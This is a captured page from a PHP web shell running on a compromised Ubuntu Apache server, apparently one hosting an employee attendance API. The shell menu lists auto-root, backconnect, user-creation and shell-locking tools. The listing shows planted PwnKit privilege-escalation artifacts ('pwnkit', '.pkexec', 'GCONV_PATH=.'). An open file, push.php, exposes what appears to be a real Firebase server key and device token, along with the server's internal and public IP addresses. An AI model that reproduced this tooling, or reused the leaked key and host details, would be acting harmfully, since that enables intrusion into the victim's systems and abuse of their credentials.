Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.133.124.80
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
oums /
api /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.api.php
3.61
KB
-rw-r--r--
.mad-root
0
B
-rw-r--r--
api_sendsms.php
1.08
KB
-rw-rw-r--
checkin.php
3.42
KB
-rw-r--r--
checkout.php
3.06
KB
-rw-r--r--
clientDet.php
2.42
KB
-rw-rw-r--
employeelist.php
599
B
-rw-rw-r--
expenses.php
4.93
KB
-rw-rw-r--
getAttendance.php
1.33
KB
-rwxr-xr-x
getAttnStatus.php
1.16
KB
-rw-r--r--
getDept.php
477
B
-rwxr-xr-x
getEmpAttListDetDaily.php
1.41
KB
-rwxr-xr-x
getEmpAttListSummary.php
1.45
KB
-rwxr-xr-x
getEmpListForLeave.php
1.16
KB
-rwxr-xr-x
getMyAttendanceList.php
983
B
-rwxr-xr-x
login.php
2.49
KB
-rwxr-xr-x
notification_disp.php
1.26
KB
-rw-r--r--
push.php
2.37
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
saveAbLeave.php
2.22
KB
-rwxr-xr-x
saveAttendace.php
3.18
KB
-rwxr-xr-x
sys_connect.php
702
B
-rwxr-xr-x
taskreminder.php
8.64
KB
-rw-rw-r--
updsalary.php
832
B
-rw-r--r--
workentry.php
9.19
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : push.php
<?php // FCM Server Key from your Firebase project settings $serverKey = 'AAAAgJjtDyo:APA91bH7vx_QfSxjkz2ZxoaVORvtyfkjA4W3kU4p96GPpF0hbpByEczObtu0ky4KS4XA-shF993AXXCapFsdzZFBrdPx5KUgaKBlQTuZDgQAHQZyUuKXTkMGewteQZBsxYRDIsmO2J7H'; // Device token of the recipient (obtained from your app) $deviceToken = 'eChFaZHoZkrGmcQ7_CmpYi:APA91bEd6KRKiOL7B7tHNsp_dwtjQvieqWboasr4GOXyvwoWt8AEWWuJ4pKQBLvww6OwRKdCmq-iSF7Xbr6KeBR0HiKUkwyq3VMURShkmtPb9BQmCGqRfsXVvRb8HCcu30C84-J_85Hw'; // Notification payload $message = array( 'title' => 'Notification Title', 'body' => 'Notification Body', ); $data = array( 'to' => $deviceToken, 'notification' => $message, ); // Set headers $headers = array( 'Authorization: key=' . $serverKey, 'Content-Type: application/json', ); // Initialize cURL session $ch = curl_init(); // Set cURL options curl_setopt($ch, CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification (for testing) // Set the payload as JSON curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); // Execute cURL session $response = curl_exec($ch); // Check for cURL errors if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } else { // Print FCM response echo $response; } // Close cURL session curl_close($ch); ?> Make sure to replace 'YOUR_SERVER_KEY' with your Firebase Server Key and 'DEVICE_TOKEN' with the target device's token obtained from your React Native app. Step 4: Trigger the PHP Script To send a push notification from your PHP server, you'll need to trigger the PHP script when a specific event occurs or when you want to send a notification. This can be done via a web request, a server-side script, or any other mechanism suitable for your application's architecture. Step 5: Handle Notifications in React Native In your React Native app, you should have already set up the handling of push notifications using a library like react-native-push-notification or react-native-notifications. Make sure your app listens for incoming notifications and displays them to the user as needed. By following these steps, you can set up a system to send push notifications from a PHP server to your React Native app using Firebase Cloud Messaging (FCM).
Close